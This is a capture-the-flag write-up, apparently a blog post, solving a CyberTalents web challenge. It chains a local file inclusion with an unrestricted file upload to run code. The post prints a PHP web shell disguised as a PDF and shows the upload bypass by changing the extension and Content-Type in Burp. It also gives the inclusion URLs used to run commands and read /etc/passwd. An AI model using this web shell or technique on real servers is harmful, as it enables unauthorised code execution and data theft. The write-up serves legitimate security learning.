July 21, 2026
“Join Team” | CyberTalents | Chaining LFI and Unrestricted File Upload to Achieve RCE | Web…
Learn how LFI can be chained with an unrestricted file upload to execute arbitrary PHP code and retrieve the flag.

By Dr_ro0t
3 min read
Challenge description
Flag safe in the server environment , can you reveal it.
Join Team - Web Security challenge - Flag safe in the server environment , can you reveal it.
Writeup Agenda
- Attack Scenario
- Lab Solution
Attack Scenario
- After navigating in the website and go to Home page or other tabs, we will see this parameter in the URL http://target/index.php?home
- If we try replace home with /etc/passwd we will see that the file is displayed.
- After that we will go to WorkForUs page and we will find that we can upload a pdf file.
- We will create a PHP web shell and save it as a pdf extension.
<?php system($_GET['cmd']); system('id'); echo("hello");?><?php system($_GET['cmd']); system('id'); echo("hello");?>-
Then intercept the request and change the extension to PDF and Content-Type to application/pdf
-
Accessing the uploaded file directly only renders it as a PDF. The embedded PHP code is not executed, which indicates that the web server serves files from the upload directory as static content.
-
So we will use the LFI that we just found and open this URL http://target/index.php?data/shell.pdf
-
We will notice that we can't run any reverse shell at all, so we will depend on manipulate the requests in Burp.
-
Instead of re-uploading the file every time, Burp Repeater was used to modify the uploaded PHP payload before sending the request again. Refreshing the LFI endpoint immediately executed the updated payload.
./start.sh
┌──(Dr_ro0t㉿kali)-[~/CyberTalents/Writeups]
└─$ ./start.sh
██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ██╔══██╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██║ ██║ ██████╔╝ ██████╔╝██║ ██║██║ ██║ ██║
██║ ██║ ██╔══██╗ ██╔══██╗██║ ██║██║ ██║ ██║
██████╔╝ ██║ ██║███████╗██║ ██║╚██████╔╝╚██████╔╝ ██║
╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
>> Dr_ro0t <<
root@writeup:~# Exploitation Started...┌──(Dr_ro0t㉿kali)-[~/CyberTalents/Writeups]
└─$ ./start.sh
██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ██╔══██╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██║ ██║ ██████╔╝ ██████╔╝██║ ██║██║ ██║ ██║
██║ ██║ ██╔══██╗ ██╔══██╗██║ ██║██║ ██║ ██║
██████╔╝ ██║ ██║███████╗██║ ██║╚██████╔╝╚██████╔╝ ██║
╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
>> Dr_ro0t <<
root@writeup:~# Exploitation Started...Lab Solution
After open the website and go to Home page
Here we will try replace home with /etc/passwd
Voila !! we find LFI
Now we will go to WorkForUs page
We will write this payload and save it as pdf
<?php
system($_GET['cmd']);
system('id');
echo("hello");
?><?php
system($_GET['cmd']);
system('id');
echo("hello");
?>After upload it we will open this page
The path of our payload is data/bd.pdf
It displays it as PDF here so the PHP code will not be executed
This is where the previously discovered LFI becomes valuable.
So we will use it and make the URL http://target/index.php?data/bd.pdf
Here we will try to add ?cmd=ls
Not worked
So, what we will do now is to manipulate the content of the file using Burp then refresh the page
Then refresh the page
Then read the index.php file
./finish.sh
┌──(dr_ro0t㉿kali)-[~/CyberTalents/Writeups]
└─$ ./finish.sh
██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ██╔══██╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██║ ██║ ██████╔╝ ██████╔╝██║ ██║██║ ██║ ██║
██║ ██║ ██╔══██╗ ██╔══██╗██║ ██║██║ ██║ ██║
██████╔╝ ██║ ██║███████╗██║ ██║╚██████╔╝╚██████╔╝ ██║
╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
>> Dr_ro0t <<
root@writeup:~# Writeup Completed Successfully...
[+] Vulnerability Explained
[+] Exploitation Completed
[+] Flag Captured
[+] Mission Finished
Thanks for reading :)
-- Dr_ro0t┌──(dr_ro0t㉿kali)-[~/CyberTalents/Writeups]
└─$ ./finish.sh
██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ██╔══██╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██║ ██║ ██████╔╝ ██████╔╝██║ ██║██║ ██║ ██║
██║ ██║ ██╔══██╗ ██╔══██╗██║ ██║██║ ██║ ██║
██████╔╝ ██║ ██║███████╗██║ ██║╚██████╔╝╚██████╔╝ ██║
╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
>> Dr_ro0t <<
root@writeup:~# Writeup Completed Successfully...
[+] Vulnerability Explained
[+] Exploitation Completed
[+] Flag Captured
[+] Mission Finished
Thanks for reading :)
-- Dr_ro0tI hope you like the solution :)
hack
eat
sleep
again :)